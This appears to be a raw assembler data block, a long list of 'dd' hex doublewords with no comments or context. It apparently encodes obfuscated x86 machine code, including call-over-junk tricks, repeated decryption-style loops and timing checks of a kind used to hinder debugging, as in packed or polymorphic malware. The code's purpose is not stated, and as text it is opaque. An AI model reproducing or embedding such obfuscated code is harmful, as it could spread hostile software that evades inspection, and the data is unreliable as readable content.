dd 0B434AE00h, 0FF587185h, 30ECF368h, 4E18060h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0CAC35747h, 8152DE4Eh
dd 0EB16AB26h, 29FE8B66h, 481831B5h, 0FC90A06h, 1DD84h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h
dd 0C3514100h, 0C78221CCh, 0E8191F69h, 0Ah, 10568921h
dd 151AB71Eh, 0BF66850Ch, 8B5FE909h, 48115985h, 29BD2B06h
dd 3306480Bh, 48121985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 87A43C23h, 0EC8224C2h
dd 8B0FB931h, 6, 1BE58529h, 89510648h, 481A4D9Dh, 66505B06h
dd 489DA8Bh, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 712407F4h, 6A66DF80h, 0E9BD8B00h
dd 80064808h, 4E88DD7h, 0FF000000h, 50001F03h, 505FF98Bh
dd 0DE9h, 927C5800h, 17F7426Eh, 83F80788h, 448BC510h, 8E90424h
dd 8F000000h, 0D998FA76h, 8BE1140Eh, 0DE800h, 4D220000h
dd 0B2D835BAh, 7F094A25h, 5B71ECC2h, 4244489h, 4840Fh
dd 0BB660000h, 6A586056h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 233BC356h, 25AC0F00h
dd 0FFA9DC4h, 685h, 0F98D8900h, 0E9064807h, 0Bh, 3C74251Ch
dd 629BBC07h, 0FF0F2415h, 48074195h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0D7001B30h
dd 0B5894651h, 6480AB9h, 0FE852h, 4CE50000h, 1FE4AB1Ch
dd 80185DEAh, 976CD27Dh, 9DB589F4h, 5B06482Eh, 8985895Fh
dd 6A064BB6h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 3E1CC353h, 46BFBED6h, 790872BFh
dd 280E967h, 13E90000h, 8B000000h, 2AB5BACDh, 35B1B175h
dd 66A0362Dh, 17CBD23h, 858B761Eh, 64BB681h, 0F8D98B66h
dd 1800C7h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 0CB2621C3h, 2C900B02h, 0F8DFBF0Fh
dd 0B685B58Bh, 6A064Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 22BF7AC3h, 9D8E62EAh, 0BBF1C780h
dd 2F92CA14h, 1A85858Bh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 0D7D840C3h, 0B4BBF3D9h
dd 0E818E974h, 0Bh, 5CFDE800h, 0F8C4BA72h, 0FB2C0D6h, 68Dh
dd 0D5958900h, 5B064819h, 6A0689h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 190424h, 55450000h, 9B3656C3h, 89D6530Ch
dd 480925B5h, 59858B06h, 8B064811h, 480AF19Dh, 4468906h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 65C35040h
dd 0C01EC377h, 0E975522Ah, 24348950h, 14359509h, 9D230648h
dd 6480FDDh, 0B681B5FFh, 8D89064Bh, 6483011h, 4E8h, 1F03FF00h
dd 49BB6600h, 0CE850B3h, 64000000h, 2F16C7A9h, 0DBCAC1B6h
dd 607B6B88h, 890F6160h, 0
dd 448B5B61h, 66600424h, 8B61DA8Bh, 9E800h, 0D77F0000h
dd 0B40E39B6h, 0E9F3CFE7h, 13h, 0C8FFF853h, 0DF23E896h
dd 0E11A6BD9h, 2980847Bh, 5F78727Ah, 4244489h, 18820Fh
dd 13E90000h, 0E1000000h, 30858DA7h, 1F57BC63h, 17400367h
dd 0D891D65Bh, 6A583C4Eh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 567DC356h, 331ADB6Ch
dd 4833399Dh, 89858D06h, 6A064BB6h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 2A1BC352h
dd 950265FBh, 0E9CEBD15h, 0Ch, 0D2C80BDAh, 2910D709h, 0A9B4686Ah
dd 7E850h, 45F60000h, 0C502B502h, 27C7BB98h, 895B3484h
dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 214B6AC3h, 0F5A89047h, 74195FFh, 6A0648h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 267091C3h, 0BB66EB94h, 6A619BBFh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 49C2C351h
dd 0E9626758h, 0B395C7FEh, 0D985C774h, 306482Ah, 66000000h
dd 0D8A8E781h, 0B689BD83h, 0F00064Bh, 3584h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 5CFB2324h, 2F55BD8Bh, 81660648h, 0E958CFDBh, 21h, 22D59D8Bh
dd 30500648h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h
dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h
dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
dd 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 0CF8166FFh, 6A093Ch, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8B8F96C3h
dd 4829E59Dh, 0D9BD8306h, 306482Ah, 432850Fh, 0B5890000h
dd 64817F5h, 0B689BD83h, 0F00064Bh, 41F84h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 89B5FFAAh, 6A064BB6h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 0DC1EC350h, 32A81717h
dd 1555BD8Bh, 0FFFC0648h, 4809F595h, 0DD853106h, 8B064812h
dd 4BB67DB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1604h, 0C3574700h, 0E87F3C8Ch, 0Bh, 0B2DC8BCh, 89BB8DD5h
dd 17CF378h, 482F1585h, 6C75B06h, 10001h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 1Ch, 50C35646h, 0C1DF1BBDh
dd 0D0733AD1h, 0E9606050h, 14h, 2981DFDBh, 0A8AA4129h
dd 0E8CDA16Fh, 79C5AD80h, 0AC1CBFD4h, 310F5250h, 6061585Ah
dd 11E9h, 3E54F400h, 2D55C2DEh, 0C163A3D6h, 113154EDh
dd 61616637h, 6A243489h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 79BCC357h, 3D5ED17Dh
dd 0EB5558F7h, 0B689B5FFh, 95FF064Bh, 6480061h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 5AC35646h, 5D51DC00h
dd 9995894Dh, 8B064832h, 4BB67DB5h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0D749429h
dd 0ADBD2933h, 8B064827h, 480F2585h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0E381664Ah
dd 86891E8Fh, 0C4h, 1405958Bh, 0C2830648h, 9D8B6004h, 6480329h
dd 51858957h, 5B064809h, 20508961h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 1CC35343h, 8DB89136h, 4BCAD485h
dd 0DABF0F06h, 0B88689h, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 0BCB4CDC3h, 0B36B80B6h
dd 6A84DEA8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1C04h, 0C3514100h, 0E1186478h, 0A081C409h, 598529FBh
dd 6606482Eh, 0EF81D98Bh, 6E69B5h, 0B689B5FFh, 0F60064Bh
dd 38Ah, 0CFBF0F00h, 616FF480h, 5195FFh, 6A0648h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 89E95FC3h, 482EF985h, 0ADBD0B06h, 5006480Bh, 0B3243489h
dd 21B58907h, 0FF064820h, 4BB689B5h, 60DE8B06h, 2BB99589h
dd 8D8B0648h, 64808E1h, 2995FF61h, 6A064814h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 6B57C357h, 81DEEF68h, 0A9BD833Ah, 64831h, 48840Fh, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 0FAAB2AC3h, 0EDCE77Bh, 50DCF2C1h, 6E5466BFh, 24348951h
dd 2FB9BD8Bh, 0E9570648h, 0Dh, 0B6730097h, 17783EDh, 66353047h
dd 0B5FF5FEEh, 64BB689h, 9E9h, 3F2D7400h, 7E67D461h, 0DA8B29E7h
dd 13FD95FFh, 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 0B5FFC7C3h, 64BB689h, 5870Fh, 81660000h
dd 0FF148DCBh, 48177D95h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 8C0F3F69h
dd 2, 7DBBFB8Bh, 832B0999h, 482F1DBDh, 840F0206h, 58h
dd 1551858Bh, 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 9ADCB3C3h, 4B98ECBBh, 0C627A5FFh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 3E6605C3h, 0D1D80F8h, 8589E2C2h, 64821DDh
dd 16E185C7h, 648h, 95290000h, 648239Dh, 0FFF1AFE9h, 57006AFFh
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 0AC8C1C9Fh, 1C5352B0h, 8589B4E0h, 648320Dh, 6AC18Bh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 0EA2C7FC3h, 0F8EC1B4Ch, 8D1747AEh, 48125585h, 4751BF06h
dd 89500E87h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 0A788B7C3h, 44BFE93Ah, 6A3368FCh
dd 919D2900h, 6A064808h, 0D4858D00h, 6A064C43h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 8EB0C356h, 79A4CE83h, 0CD9D0155h, 83064830h, 0BB6605C0h
dd 669044C6h, 50CDFDBBh, 38BB2BBFh, 8E99061h, 9F000000h
dd 77081090h, 6AD20A6Ch, 0E9006A00h, 0Ah, 1CC3BD48h, 6096B030h
dd 95FFC79Fh, 6482B2Dh, 0BE9h, 40ABA800h, 4DED302Fh, 0A506F7ABh
dd 99388D8Dh, 8E0F064Bh, 1, 6AD1FFF8h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 780AC350h
dd 0A72B5B7Ah, 0E5BD8367h, 1064830h, 5B850Fh, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 7941F6C3h, 0BD8B026Ah, 6480FDDh, 0E8D0F60h, 0E9000000h
dd 9, 0DEEE78DEh, 0B45283F2h, 219509ABh, 61064820h, 24048950h
dd 0EFEDBF66h, 5195FFh
dd 36BB0648h, 8937B262h, 480BB98Dh, 0F19E906h, 0E80000h
dd 5D000000h, 43DEED81h, 6A064Ch, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 0A9859CC3h, 6820FC6h
dd 89000000h, 480C2585h, 99858906h, 0E906482Ah, 0Eh, 7BF01AB8h
dd 10747925h, 0F05CD6Ch, 858D5FDBh, 64B93DAh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0D2C35242h, 37DB2776h
dd 5390F900h, 6810Fh, 52500000h, 585A310Fh, 0E1B7505Fh
dd 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 2790CC47h, 0CF81C285h, 20E2A1F6h, 2F69B589h
dd 0FF640648h, 35h, 0D18D2900h, 6406482Fh, 2589h, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 77C18DC3h, 0F8AA31FFh, 0D185FFCCh, 6A06481Ah, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 1FA0C351h, 0C78AA236h, 9D10EB21h, 0D58D0156h, 5F064829h
dd 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 5B1BF9C3h, 9DCBB2Ah, 4809199Dh, 95336006h
dd 6481581h, 0D89B589h, 0FF610648h, 480F1DB5h, 99D8B06h
dd 0FF06480Dh, 4810D995h, 13EE906h, 0BD8B0000h, 64805F9h
dd 5820Fh, 81660000h, 0B0860AD3h, 919D8B00h, 0E606481Bh
dd 65BD0370h, 0E4064833h, 9E971h, 6D600000h, 0B94136CCh
dd 3C91C3A0h, 5830F61h, 66000001h, 75BED381h, 60C8B60Fh
dd 1599858Bh, 81660648h, 61F265C7h, 6BAF5h, 810F0000h
dd 6, 14B99529h, 0C18B0648h, 13E960h, 5C20000h, 3A4880Eh
dd 87DE3D2Fh, 4E7A5DACh, 4293718Eh, 63EE81EAh, 6105D50Ch
dd 8904E8C1h, 482A159Dh, 0E2F76606h, 6860Fh, 0BD8B0000h
dd 6480825h, 5F53C82Bh, 8D31D18Bh, 6483309h, 0EE9h, 7E95300h
dd 0E6000000h, 0E664CE43h, 8B5BB3EDh, 4819A985h, 61BD2B06h
dd 8306480Fh, 0F38107C0h, 46332E80h, 8B00C083h, 4831099Dh
dd 0FD03B06h, 2183h, 8810F00h, 56000000h, 102D8529h, 0E95B0648h
dd 4Ch, 9E9h, 0AAB8E900h, 438E7049h, 8D8B24F6h, 6480125h
dd 23A59589h, 0E1830648h, 29840F01h, 60000000h, 0E098503h
dd 0DE8B0648h, 25A58361h, 0FE064801h, 17BD8589h, 89F50648h
dd 4819A995h, 399D2906h, 0E9064800h, 0
dd 0D639B58Dh, 6A064Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 9D096DC3h, 648335Dh, 56EF8160h
dd 8B53C04Bh, 480CC59Dh, 6A6106h, 0C3D9D8Bh, 95FF0648h
dd 648092Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 94C35141h, 0BF1229A8h, 6455804h, 0F17B9h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 0E977E76Ch, 10h, 1299DFE3h, 0E5690D7Ah, 13657289h, 34BE9DA0h
dd 0FA9CE781h, 0E1831FC1h, 52006AFCh, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0CF96D910h
dd 9D8B9AA8h, 6480129h, 51006AFCh, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1C04h, 0C3514100h, 0E0165E48h, 4B7FC82Eh
dd 53C02B64h, 0C63DDF81h, 2B5B1D34h, 11E957D2h, 0B3000000h
dd 25C2DABh, 0B1E75626h, 65D24C13h, 0CC7D62B3h, 0C233AD5Fh
dd 0D003E8D1h, 7504E983h, 0C9BD89F4h, 0E9064816h, 8, 0CB6C6613h
dd 0EB857680h, 1B059589h, 880D0648h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 1FA6C350h, 0BF00F3BCh, 870FB368h, 6, 8159D8Bh, 958B0648h
dd 6481405h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 16C35545h, 2FA86AE9h, 56F1B348h, 0B4DF8166h, 8D8B5FD0h
dd 6483025h, 16818529h, 8B500648h, 3188BC2h, 8B188BC1h
dd 3E8D1C1h, 58188BC2h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 16h, 0FFC35646h, 8E0FCBF8h, 1Eh, 12E8h, 0AED9F800h
dd 0BD9F56h, 0F8C2D319h, 136C6E34h, 89E72E99h, 48186D85h
dd 0BD835B06h, 64812FDh, 79840F00h, 0F000000h, 0CB81F8BFh
dd 36AB63B9h, 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 4C432C46h, 2C44D062h
dd 4E808D8Dh, 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 0AEDA10C3h, 0BB43E9D1h, 6AE1FFh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 4D2463C3h, 2AD9BD83h, 0F000648h, 4B484h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 308A1550h, 6019D1BEh, 0CE9h, 5C4B00h, 18F744Eh, 8889AB2Fh
dd 0DF8B6659h, 35BD8B61h, 83064809h, 482AD9BDh, 840F0106h
dd 484h, 9E9h, 0BDC11300h, 770932C2h, 0BD83FC37h, 6482AD9h
dd 33860F03h, 29000004h, 48107DB5h, 0BD8B6006h, 6480A89h
dd 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 230FC357h, 0CA325DF4h, 9D85D8EEh
dd 11C98D31h, 0E1800648h, 3810F04h, 66000000h, 0C90AD98Bh
dd 151840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 0A86607C3h, 0F7D963FBh, 23799D23h
dd 0BD8B0648h, 6480775h, 1159858Bh, 6A0648h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0CBD5D1C3h
dd 0D70FB1CBh, 31319D8Bh, 0CB800648h, 19853339h, 6A064812h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 7CA9C352h, 0FC6515CDh, 8166A058h, 90DED2D7h
dd 0DE8A5250h, 0DC8A310Fh, 6050585Ah, 0B6FB80B9h, 0A3D5BF01h
dd 906173DFh, 30CDBD8Bh, 6A0648h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ch, 0CFC35242h, 0BAC9956Eh, 0A3DD5469h
dd 10E9h, 0C1BC5500h, 32394290h, 187B9AEh, 14398CF7h, 0F54D68CAh
dd 0FB8B26C3h, 0B2243481h, 8B26DCF6h, 483171BDh, 4195FF06h
dd 6A064807h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 338C355h, 0C89597E3h, 8589FC0Ch
dd 64BB689h, 0E9FB8B66h, 1E4h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 0E6C35141h, 8BFB8BB4h, 4BB68185h
dd 6E806h, 7F630000h, 7417D3BCh, 27D19D31h, 0C75F0648h
dd 1800h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 5D8D89DAh, 8B064833h, 4BB685B5h
dd 85858B06h, 0E806481Ah, 0Fh, 0B4662B4Ch, 1315CB9Fh, 0F862E490h
dd 89569254h, 4804559Dh, 6895B06h, 8BDFBF0Fh, 48115985h
dd 3DD78106h, 89388902h, 6A0446h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 1A7ED0C3h, 3D7AA206h
dd 9D2953FCh, 64830BDh, 8B66965Fh, 0F98B50DEh, 53006A96h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0E5914DA3h, 519D0361h, 0FF06482Bh, 4BB681B5h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 4761105Fh, 9D6CC050h, 0BDBD8B92h, 68064810h, 0CC4290A0h
dd 60605250h, 84BE6661h, 310F6187h, 5ADF8B66h, 24048158h
dd 33DC735Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 0D0C35747h, 9F04E2BBh, 8B40F11Bh, 4829A5BDh, 89858D06h
dd 6A064BB6h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 1C41C357h, 3222778Eh, 34B5E429h
dd 24048950h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 0F5C35141h, 31519529h, 95FF0648h, 6480741h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 67C35545h, 0BD8BF553h
dd 64803C1h, 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1B04h, 0C3514100h, 3159E76Eh, 0C16C64FCh, 0CE9h, 31602800h
dd 569E0345h, 3EE9A20Fh, 22BF6619h, 359D8B8Ch, 0C7064813h
dd 482AD985h, 306h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 0E90DD58Bh, 9, 98405E2Ah
dd 92A0E23Fh, 89BD830Ah, 64BB6h, 4C840Fh, 6A0000h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 89FE90C3h, 4817798Dh, 3FE906h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 160424h, 52420000h, 95842EC3h
dd 3195BD89h, 30500648h, 4400110Ch, 0E8C10111h, 11443010h
dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h
dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h
dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h
dd 7504E983h, 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1704h, 0C3534300h, 9CFAB2D7h, 0FE9h, 37452D00h
dd 0ED67993Ah, 0AC10346Ah, 96191DB4h, 32FD9589h, 0BD830648h
dd 6482AD9h, 50850F03h, 6A000004h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 9CD5C350h
dd 895CEB0Dh, 482A31BDh, 0DE906h, 250E0000h, 0C9817FDEh
dd 14745DEEh, 83996D47h
dd 4BB689BDh, 840F0006h, 40Bh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 0A4C35141h, 617856Ah, 89B5FFC5h
dd 6A064BB6h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 34DC352h, 7836F526h, 9D8B5896h
dd 64830BDh, 9F595FFh, 6A0648h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 0B8553FC3h, 0DE495006h
dd 8BB889FBh, 4BB67DB5h, 6C7FC06h, 10001h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0CFC35545h, 0BC564D06h
dd 0CF816058h, 23DC059Ch, 0EE86096h, 67000000h, 9615C4DDh
dd 0B658C2F3h, 0BC7346F4h, 0F5250C7h, 59585A31h, 5061EA8Ah
dd 0FFBB6660h, 6E96049h, 19000000h, 0D4437422h, 61616009h
dd 0BD8B9661h, 648007Dh, 0B689B5FFh, 6A064Bh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 2698E1C3h
dd 91BEC0Ch, 48153D9Dh, 0DABF0F06h, 6195FFh, 95890648h
dd 6482849h, 0B67DB58Bh, 860F064Bh, 6, 299DBD89h, 858B0648h
dd 6480F25h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 0F4C35646h, 308F3DE6h, 0BD8B688Dh, 64801F1h, 1155BD01h
dd 86890648h, 0C4h, 20C2BF66h, 1405958Bh, 6ABB0648h, 836FDCFEh
dd 8B6604C2h, 8C380FBh, 0BF205089h, 69CD6812h, 0CAD4858Dh
dd 0CE9064Bh, 0A5000000h, 6C8F293Fh, 0C53EFD42h, 89710ECCh
dd 0B886h, 15B52900h, 6A064805h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0C265BBD9h
dd 89609ECAh, 482BBDB5h, 14E806h, 0DFA60000h, 9169F162h
dd 9ADA1409h, 0B6350049h, 94B748CFh, 50B14A0Ah, 0B5FF615Eh
dd 64BB689h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ah, 39C35343h, 0E6B4FFD4h, 0BD8B287Dh, 648313Dh, 5195FFh
dd 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 0EF97EDC3h, 295335B7h, 0E996F05Bh, 11h, 7B6012EFh
dd 1D77BF35h, 0B3A5D3EAh, 9C4AD622h, 0F505078h, 8Fh, 6A965F00h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h
dd 41000000h, 367AC351h, 9D03C117h, 64812C9h, 0F8AEAEBBh
dd 89B5FF2Ch, 6A064BB6h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 0B2C9C357h, 0F1B0DCCh
dd 8DB7B791h, 95FFB0B3h, 6481429h, 8B01F781h, 0B5892B34h
dd 6481089h, 31A9BD83h, 0F000648h, 3084h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 7291D055h, 0BBCE905Dh, 51BB6696h, 8B9650AFh, 480EF19Dh
dd 89B5FF06h, 6A064BB6h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 8062C350h, 71BD8B67h
dd 0FF06480Ah, 4813FD95h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 560A58F6h
dd 14F1B509h, 0B5FF0648h, 64BB689h, 0FF24F380h, 48177D95h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 8969B607h, 48303DBDh, 0BD096006h, 6481C05h
dd 5661CE8Bh, 7DDBD29h, 835B0648h, 482F1DBDh, 840F0206h
dd 17h, 2B91BD8Bh, 4ABF0648h, 8B3B39BAh, 48155185h, 0C6F98B06h
dd 0C7F80000h, 4816E185h, 6, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0B97DD1DAh
dd 42BFD074h, 0E960691Ch, 0FFFFF258h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 46C35141h, 7DB9779h, 0CDC0F715h
dd 0B99D29F9h, 8B064809h, 57006AC1h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 7FCD8E12h
dd 8DF886E6h, 48125585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1B04h, 0C3554500h, 0E41E7FF5h, 122F3220h
dd 90FFE780h, 0DA8B6650h, 1BD8B90h, 6A064807h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 1699AB9Fh, 6AC15FB9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1604h, 0C3574700h, 8DF73941h, 4C555D85h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h
dd 0C3534300h, 280A42F3h, 838FCA7Dh, 6A05C0h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8BF3A7C3h
dd 48121DBDh, 8B669006h, 0BE850DAh, 0F0000000h, 7207F37h
dd 4BC35280h, 0EE9D578h, 0D6000000h, 989057D7h, 7217916Fh
dd 4B45593h, 6A905FF9h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 0FEA3C351h, 0B6A744D9h
dd 253485C9h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 160424h, 56460000h, 2F9E1AC3h, 20019D01h, 6A0648h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0ADC35646h, 32ABA2F1h
dd 11E9FB38h, 0A8000000h, 81E06F61h, 0B22E2AA4h, 0EB8B9C2Bh
dd 0DE2D2DA2h, 2B2D95FFh, 6A0648h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 0E05416C3h, 47F2DA7Ch
dd 1059BD8Bh, 8D8D0648h, 64B9938h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 38C35545h, 5369F3D3h, 87BFBF9Dh
dd 0FF6AC5B1h, 50006AD1h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 0B04781D5h, 0C67BBBE7h
dd 8351F780h, 4830E5BDh, 850F0106h, 62h, 0E6A7FBBBh, 0B026A4Bh
dd 482305BDh, 89BF5006h, 89255A11h, 6A2404h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 27BC53C3h
dd 0C3EBCA71h, 95FFC772h, 6480051h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 7C35545h, 0A25B501h, 0B0E90648h
dd 0E800000Eh, 0
dd 67ED815Dh, 6A064C55h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 8F6EC350h, 41953160h
